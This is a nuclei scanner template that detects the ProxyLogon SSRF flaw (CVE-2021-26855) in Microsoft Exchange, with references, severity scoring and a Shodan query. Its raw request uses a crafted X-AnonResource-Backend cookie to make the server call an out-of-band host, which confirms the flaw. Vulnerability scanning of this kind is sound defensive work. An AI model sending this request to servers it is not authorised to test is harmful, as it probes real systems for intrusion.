nuclei-templates/cves/2021/CVE-2021-26855.yaml

36 lines
1.6 KiB
YAML

id: CVE-2021-26855
info:
name: Microsoft Exchange Server SSRF Vulnerability
author: madrobot
severity: critical
description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
reference:
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
- https://proxylogon.com/#timeline
- https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
remediation: Apply the appropriate security update.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-26855
metadata:
shodan-query: vuln:CVE-2021-26855
tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft
requests:
- raw:
- |
GET /owa/auth/x.js HTTP/1.1
Host: {{Hostname}}
Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# Enhanced by mp on 2022/02/04